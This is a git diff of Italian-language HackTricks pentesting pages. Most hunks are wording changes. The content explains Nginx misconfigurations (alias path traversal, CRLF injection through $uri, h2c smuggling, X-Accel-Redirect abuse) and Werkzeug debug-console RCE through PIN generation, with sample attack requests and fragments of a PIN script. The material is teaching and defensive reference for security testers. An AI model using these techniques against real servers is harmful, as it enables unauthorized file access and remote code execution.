Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, sia scritta che parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -90,10 +90,10 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione istantanea disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione istantanea disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
|
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
|
||||||
|
|
||||||
Quando si configura il server Nginx, la **direttiva root** svolge un ruolo critico definendo la directory di base da cui vengono serviti i file. Considera l'esempio qui sotto:
|
Quando si configura il server Nginx, la **direttiva root** svolge un ruolo critico definendo la directory di base da cui vengono serviti i file. Considera l'esempio seguente:
|
||||||
```bash
|
```bash
|
||||||
server {
|
server {
|
||||||
root /etc/nginx;
|
root /etc/nginx;
|
||||||
|
@ -39,7 +39,7 @@ Da questa configurazione sorge una considerazione critica per la sicurezza. Una
|
||||||
|
|
||||||
## Configurazione Errata di Alias LFI <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
## Configurazione Errata di Alias LFI <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||||
|
|
||||||
Nei file di configurazione di Nginx, è necessaria un'ispezione attenta delle direttive "location". Una vulnerabilità nota come Inclusione di File Locale (LFI) può essere introdotta involontariamente attraverso una configurazione che assomiglia a quanto segue:
|
Nei file di configurazione di Nginx, è necessaria un'ispezione attenta delle direttive "location". Una vulnerabilità nota come Inclusione di File Locale (LFI) può essere introdotta involontariamente attraverso una configurazione che assomiglia alla seguente:
|
||||||
```
|
```
|
||||||
location /imgs {
|
location /imgs {
|
||||||
alias /path/images/;
|
alias /path/images/;
|
||||||
|
@ -47,7 +47,7 @@ alias /path/images/;
|
||||||
```
|
```
|
||||||
Questo tipo di configurazione è vulnerabile agli attacchi LFI poiché il server interpreta le richieste come `/imgs../flag.txt` come un tentativo di accedere a file al di fuori della directory prevista, risolvendo effettivamente in `/percorso/immagini/../flag.txt`. Questa falla consente agli attaccanti di recuperare file dal filesystem del server che non dovrebbero essere accessibili tramite il web.
|
Questo tipo di configurazione è vulnerabile agli attacchi LFI poiché il server interpreta le richieste come `/imgs../flag.txt` come un tentativo di accedere a file al di fuori della directory prevista, risolvendo effettivamente in `/percorso/immagini/../flag.txt`. Questa falla consente agli attaccanti di recuperare file dal filesystem del server che non dovrebbero essere accessibili tramite il web.
|
||||||
|
|
||||||
Per mitigare questa vulnerabilità, la configurazione dovrebbe essere regolata in:
|
Per mitigare questa vulnerabilità, la configurazione dovrebbe essere regolata come segue:
|
||||||
```
|
```
|
||||||
location /imgs/ {
|
location /imgs/ {
|
||||||
alias /path/images/;
|
alias /path/images/;
|
||||||
|
@ -65,7 +65,7 @@ alias../ => HTTP status code 403
|
||||||
```
|
```
|
||||||
## Restrizione del percorso non sicura <a href="#uso-di-variabili-non-sicure" id="uso-di-variabili-non-sicure"></a>
|
## Restrizione del percorso non sicura <a href="#uso-di-variabili-non-sicure" id="uso-di-variabili-non-sicure"></a>
|
||||||
|
|
||||||
Controlla la pagina seguente per imparare come aggirare direttive come:
|
Controlla la seguente pagina per imparare come aggirare direttive come:
|
||||||
```plaintext
|
```plaintext
|
||||||
location = /admin {
|
location = /admin {
|
||||||
deny all;
|
deny all;
|
||||||
|
@ -84,11 +84,11 @@ deny all;
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Le variabili vulnerabili `$uri` e `$document_uri` possono essere risolte sostituendole con `$request_uri`.
|
Le variabili vulnerabili `$uri` e `$document_uri` possono essere risolte sostituendole con `$request_uri`.
|
||||||
|
|
||||||
Una regex può essere vulnerabile come:
|
Anche una regex può essere vulnerabile come:
|
||||||
|
|
||||||
`location ~ /docs/([^/])? { … $1 … }` - Vulnerabile
|
`location ~ /docs/([^/])? { … $1 … }` - Vulnerabile 
|
||||||
|
|
||||||
`location ~ /docs/([^/\s])? { … $1 … }` - Non vulnerabile (controllo degli spazi)
|
`location ~ /docs/([^/\s])? { … $1 … }` - Non vulnerabile (controlla gli spazi)
|
||||||
|
|
||||||
`location ~ /docs/(.*)? { … $1 … }` - Non vulnerabile
|
`location ~ /docs/(.*)? { … $1 … }` - Non vulnerabile
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -99,7 +99,7 @@ location / {
|
||||||
return 302 https://example.com$uri;
|
return 302 https://example.com$uri;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
I caratteri \r (Carriage Return) e \n (Line Feed) indicano i caratteri di nuova riga nelle richieste HTTP, e le loro forme URL-encoded sono rappresentate come `%0d%0a`. Includere questi caratteri in una richiesta (ad esempio, `http://localhost/%0d%0aDetectify:%20clrf`) a un server configurato in modo errato porta il server a emettere un nuovo header chiamato `Detectify`. Questo avviene perché la variabile $uri decodifica i caratteri di nuova riga URL-encoded, portando a un header inaspettato nella risposta:
|
I caratteri \r (Carriage Return) e \n (Line Feed) indicano i nuovi caratteri di riga nelle richieste HTTP, e le loro forme URL-encoded sono rappresentate come `%0d%0a`. Includere questi caratteri in una richiesta (ad esempio, `http://localhost/%0d%0aDetectify:%20clrf`) a un server configurato in modo errato porta il server a emettere un nuovo header chiamato `Detectify`. Questo avviene perché la variabile $uri decodifica i caratteri di nuova riga URL-encoded, portando a un header inaspettato nella risposta:
|
||||||
```
|
```
|
||||||
HTTP/1.1 302 Moved Temporarily
|
HTTP/1.1 302 Moved Temporarily
|
||||||
Server: nginx/1.19.3
|
Server: nginx/1.19.3
|
||||||
|
@ -111,12 +111,12 @@ Detectify: clrf
|
||||||
```
|
```
|
||||||
Scopri di più sui rischi dell'iniezione di CRLF e della divisione delle risposte a [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
Scopri di più sui rischi dell'iniezione di CRLF e della divisione delle risposte a [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||||
|
|
||||||
Inoltre questa tecnica è **spiegata in questa presentazione** con alcuni esempi vulnerabili e meccanismi di rilevamento. Ad esempio, per rilevare questa errata configurazione da una prospettiva blackbox potresti utilizzare queste richieste:
|
Inoltre questa tecnica è **spiegata in questa presentazione** a [https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) con alcuni esempi vulnerabili e meccanismi di rilevamento. Ad esempio, per rilevare questa errata configurazione da una prospettiva blackbox potresti utilizzare queste richieste:
|
||||||
|
|
||||||
- `https://example.com/%20X` - Qualsiasi codice HTTP
|
- `https://example.com/%20X` - Qualsiasi codice HTTP
|
||||||
- `https://example.com/%20H` - 400 Bad Request
|
- `https://example.com/%20H` - 400 Bad Request
|
||||||
|
|
||||||
Se vulnerabile, il primo restituirà "X" poiché è un qualsiasi metodo HTTP e il secondo restituirà un errore poiché H non è un metodo valido. Quindi il server riceverà qualcosa del genere: `GET / H HTTP/1.1` e questo attiverà l'errore.
|
Se vulnerabile, il primo restituirà "X" poiché è un metodo HTTP qualsiasi e il secondo restituirà un errore poiché H non è un metodo valido. Quindi il server riceverà qualcosa del genere: `GET / H HTTP/1.1` e questo attiverà l'errore.
|
||||||
|
|
||||||
Altri esempi di rilevamento sarebbero:
|
Altri esempi di rilevamento sarebbero:
|
||||||
|
|
||||||
|
@ -125,7 +125,7 @@ Altri esempi di rilevamento sarebbero:
|
||||||
|
|
||||||
Alcune configurazioni vulnerabili trovate presentate in quella presentazione erano:
|
Alcune configurazioni vulnerabili trovate presentate in quella presentazione erano:
|
||||||
|
|
||||||
- Nota come **`$uri`** sia impostato così com'è nell'URL finale
|
- Nota come **`$uri`** sia impostato così com'è nell'URL finale.
|
||||||
```
|
```
|
||||||
location ^~ /lite/api/ {
|
location ^~ /lite/api/ {
|
||||||
proxy_pass http://lite-backend$uri$is_args$args;
|
proxy_pass http://lite-backend$uri$is_args$args;
|
||||||
|
@ -174,11 +174,11 @@ proxy_hide_header Secret-Header;
|
||||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Questa direttiva abilita Nginx a servire una risposta personalizzata per le risposte del backend con un codice di stato maggiore di 300. Assicura che, per il nostro esempio di applicazione uWSGI, una risposta `Errore 500` venga intercettata e gestita da Nginx.
|
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Questa direttiva abilita Nginx a servire una risposta personalizzata per le risposte del backend con un codice di stato maggiore di 300. Assicura che, per il nostro esempio di applicazione uWSGI, una risposta `Errore 500` venga intercettata e gestita da Nginx.
|
||||||
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Come suggerisce il nome, questa direttiva nasconde gli header HTTP specificati dal client, migliorando la privacy e la sicurezza.
|
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Come suggerisce il nome, questa direttiva nasconde gli header HTTP specificati dal client, migliorando la privacy e la sicurezza.
|
||||||
|
|
||||||
Quando viene effettuata una richiesta `GET` valida, Nginx la elabora normalmente, restituendo una risposta di errore standard senza rivelare eventuali header segreti. Tuttavia, una richiesta HTTP non valida aggira questo meccanismo, con conseguente esposizione delle risposte grezze del backend, inclusi gli header segreti e i messaggi di errore.
|
Quando viene effettuata una richiesta `GET` valida, Nginx la elabora normalmente, restituendo una risposta di errore standard senza rivelare eventuali header segreti. Tuttavia, una richiesta HTTP non valida aggira questo meccanismo, portando all'esposizione delle risposte del backend in formato grezzo, inclusi gli header segreti e i messaggi di errore.
|
||||||
|
|
||||||
## merge\_slashes impostato su off
|
## merge\_slashes impostato su off
|
||||||
|
|
||||||
Per impostazione predefinita, la direttiva **`merge_slashes` di Nginx** è impostata su **`on`**, che comprime più barre oblique in un URL in una singola barra. Questa funzionalità, pur semplificando l'elaborazione degli URL, può involontariamente nascondere vulnerabilità nelle applicazioni dietro Nginx, in particolare quelle soggette ad attacchi di inclusione di file locali (LFI). Gli esperti di sicurezza **Danny Robinson e Rotem Bar** hanno evidenziato i rischi potenziali associati a questo comportamento predefinito, specialmente quando Nginx agisce come reverse-proxy.
|
Per impostazione predefinita, la direttiva **`merge_slashes` di Nginx** è impostata su **`on`**, che comprime più barre oblique in un URL in una singola barra. Questa funzionalità, pur semplificando l'elaborazione degli URL, può involontariamente nascondere vulnerabilità nelle applicazioni dietro Nginx, in particolare quelle soggette ad attacchi di inclusione di file locali (LFI). Gli esperti di sicurezza **Danny Robinson e Rotem Bar** hanno evidenziato i potenziali rischi associati a questo comportamento predefinito, specialmente quando Nginx agisce come reverse-proxy.
|
||||||
|
|
||||||
Per mitigare tali rischi, si consiglia di **disattivare la direttiva `merge_slashes`** per le applicazioni suscettibili a queste vulnerabilità. Ciò garantisce che Nginx inoltri le richieste all'applicazione senza alterare la struttura dell'URL, non mascherando eventuali problemi di sicurezza sottostanti.
|
Per mitigare tali rischi, si consiglia di **disattivare la direttiva `merge_slashes`** per le applicazioni suscettibili a queste vulnerabilità. Ciò garantisce che Nginx inoltri le richieste all'applicazione senza alterare la struttura dell'URL, non mascherando eventuali problemi di sicurezza sottostanti.
|
||||||
|
|
||||||
|
@ -194,7 +194,7 @@ Come mostrato in [**questo articolo**](https://mizu.re/post/cors-playground), ci
|
||||||
* `X-Accel-Expires`: Imposta il tempo di scadenza per la risposta quando si utilizza X-Accel-Redirect.
|
* `X-Accel-Expires`: Imposta il tempo di scadenza per la risposta quando si utilizza X-Accel-Redirect.
|
||||||
* `X-Accel-Limit-Rate`: Limita il tasso di trasferimento per le risposte quando si utilizza X-Accel-Redirect.
|
* `X-Accel-Limit-Rate`: Limita il tasso di trasferimento per le risposte quando si utilizza X-Accel-Redirect.
|
||||||
|
|
||||||
Ad esempio, l'intestazione **`X-Accel-Redirect`** causerà un **reindirizzamento interno** in Nginx. Quindi, avere una configurazione nginx con qualcosa come **`root /`** e una risposta dal server web con **`X-Accel-Redirect: .env`** farà sì che nginx invii il contenuto di **`/.env`** (Trasversamento di Percorso).
|
Ad esempio, l'header **`X-Accel-Redirect`** causerà un **reindirizzamento interno** in Nginx. Quindi, avere una configurazione nginx con qualcosa come **`root /`** e una risposta dal server web con **`X-Accel-Redirect: .env`** farà sì che nginx invii il contenuto di **`/.env`** (Trasversamento di Percorso).
|
||||||
|
|
||||||
### **Valore Predefinito nella Direttiva Map**
|
### **Valore Predefinito nella Direttiva Map**
|
||||||
|
|
||||||
|
@ -227,14 +227,14 @@ resolver 8.8.8.8;
|
||||||
```
|
```
|
||||||
### **Direttive `proxy_pass` e `internal`**
|
### **Direttive `proxy_pass` e `internal`**
|
||||||
|
|
||||||
La direttiva **`proxy_pass`** viene utilizzata per reindirizzare le richieste verso altri server, sia internamente che esternamente. La direttiva **`internal`** garantisce che determinate posizioni siano accessibili solo all'interno di Nginx. Anche se queste direttive non costituiscono vulnerabilità di per sé, la loro configurazione richiede un'esame attento per evitare falle di sicurezza.
|
La direttiva **`proxy_pass`** è utilizzata per reindirizzare le richieste verso altri server, internamente o esternamente. La direttiva **`internal`** garantisce che determinate posizioni siano accessibili solo all'interno di Nginx. Anche se queste direttive non costituiscono vulnerabilità di per sé, la loro configurazione richiede un'esame attento per evitare falle di sicurezza.
|
||||||
|
|
||||||
## proxy\_set\_header Upgrade & Connection
|
## proxy\_set\_header Upgrade & Connection
|
||||||
|
|
||||||
Se il server nginx è configurato per passare gli header Upgrade e Connection, potrebbe essere eseguito un [**attacco di Smuggling h2c**](../../pentesting-web/h2c-smuggling.md) per accedere a endpoint protetti/interni.
|
Se il server nginx è configurato per passare gli header Upgrade e Connection, potrebbe essere eseguito un [**attacco di Smuggling h2c**](../../pentesting-web/h2c-smuggling.md) per accedere a endpoint protetti/interni.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Questa vulnerabilità consentirebbe a un attaccante di **stabilire una connessione diretta con l'endpoint `proxy_pass`** (`http://backend:9999` in questo caso) il cui contenuto non verrà verificato da nginx.
|
Questa vulnerabilità consentirebbe a un attaccante di **stabilire una connessione diretta con l'endpoint `proxy_pass`** (`http://backend:9999` in questo caso) il cui contenuto non verrà controllato da nginx.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Esempio di configurazione vulnerabile per rubare `/flag` da [qui](https://bishopfox.com/blog/h2c-smuggling-request):
|
Esempio di configurazione vulnerabile per rubare `/flag` da [qui](https://bishopfox.com/blog/h2c-smuggling-request):
|
||||||
|
@ -263,7 +263,7 @@ Nota che anche se `proxy_pass` puntava a un **percorso** specifico come `http://
|
||||||
|
|
||||||
## Provalo tu stesso
|
## Provalo tu stesso
|
||||||
|
|
||||||
Detectify ha creato un repository su GitHub dove puoi utilizzare Docker per configurare il tuo server di test Nginx vulnerabile con alcune delle misconfigurazioni discusse in questo articolo e provare a trovarle da solo!
|
Detectify ha creato un repository GitHub dove puoi utilizzare Docker per configurare il tuo server di test Nginx vulnerabile con alcune delle misconfigurazioni discusse in questo articolo e provare a trovarle da solo!
|
||||||
|
|
||||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||||
|
|
||||||
|
@ -283,9 +283,9 @@ Nginxpwner è uno strumento semplice per cercare le comuni misconfigurazioni e v
|
||||||
* [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
|
* [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
|
||||||
* [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115)
|
* [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -297,8 +297,8 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,19 +8,19 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
## RCE della Console
|
## Console RCE
|
||||||
|
|
||||||
Se il debug è attivo, potresti provare ad accedere a `/console` e ottenere RCE.
|
Se il debug è attivo, potresti provare ad accedere a `/console` e ottenere RCE.
|
||||||
```python
|
```python
|
||||||
|
@ -32,7 +32,7 @@ Ci sono anche diversi exploit su internet come [questo](https://github.com/its-a
|
||||||
|
|
||||||
## Protetto da PIN - Traversal del percorso
|
## Protetto da PIN - Traversal del percorso
|
||||||
|
|
||||||
In alcune occasioni il **`/console`** endpoint sarà protetto da un pin. Se hai una **vulnerabilità di traversal del file**, puoi far trapelare tutte le informazioni necessarie per generare quel pin.
|
In alcune occasioni il **`/console`** endpoint sarà protetto da un pin. Se hai una **vulnerabilità di traversal del file**, puoi rivelare tutte le informazioni necessarie per generare quel pin.
|
||||||
|
|
||||||
### Exploit PIN della console Werkzeug
|
### Exploit PIN della console Werkzeug
|
||||||
|
|
||||||
|
@ -42,7 +42,7 @@ The console is locked and needs to be unlocked by entering the PIN.
|
||||||
You can find the PIN printed out on the standard output of your
|
You can find the PIN printed out on the standard output of your
|
||||||
shell that runs the server
|
shell that runs the server
|
||||||
```
|
```
|
||||||
Un messaggio relativo allo scenario "console bloccata" viene riscontrato quando si tenta di accedere all'interfaccia di debug di Werkzeug, indicando la necessità di un PIN per sbloccare la console. Viene suggerito di sfruttare il PIN della console analizzando l'algoritmo di generazione del PIN nel file di inizializzazione del debug di Werkzeug (`__init__.py`). Il meccanismo di generazione del PIN può essere studiato dal [**repository del codice sorgente di Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), anche se è consigliabile ottenere il codice effettivo del server tramite una vulnerabilità di attraversamento file a causa di possibili discrepanze di versione.
|
Un messaggio relativo allo scenario "console bloccata" viene riscontrato quando si tenta di accedere all'interfaccia di debug di Werkzeug, indicando la necessità di un PIN per sbloccare la console. Viene suggerito di sfruttare il PIN della console analizzando l'algoritmo di generazione del PIN nel file di inizializzazione del debug di Werkzeug (`__init__.py`). Il meccanismo di generazione del PIN può essere studiato dal [**repository del codice sorgente di Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), anche se è consigliabile procurarsi il codice effettivo del server tramite una vulnerabilità di attraversamento file a causa di possibili discrepanze di versione.
|
||||||
|
|
||||||
Per sfruttare il PIN della console, sono necessari due insiemi di variabili, `probably_public_bits` e `private_bits`:
|
Per sfruttare il PIN della console, sono necessari due insiemi di variabili, `probably_public_bits` e `private_bits`:
|
||||||
|
|
||||||
|
@ -154,7 +154,7 @@ rv = num
|
||||||
|
|
||||||
print(rv)
|
print(rv)
|
||||||
```
|
```
|
||||||
Questo script produce il PIN tramite l'hashing dei bit concatenati, aggiungendo specifici salt (`cookiesalt` e `pinsalt`), e formattando l'output. È importante notare che i valori effettivi per `probably_public_bits` e `private_bits` devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console Werkzeug.
|
Questo script produce il PIN tramite l'hashing dei bit concatenati, aggiungendo specifici salts (`cookiesalt` e `pinsalt`), e formattando l'output. È importante notare che i valori effettivi per `probably_public_bits` e `private_bits` devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console Werkzeug.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Se si utilizza una **vecchia versione** di Werkzeug, provare a cambiare l'algoritmo di hashing in md5 invece di sha1.
|
Se si utilizza una **vecchia versione** di Werkzeug, provare a cambiare l'algoritmo di hashing in md5 invece di sha1.
|
||||||
|
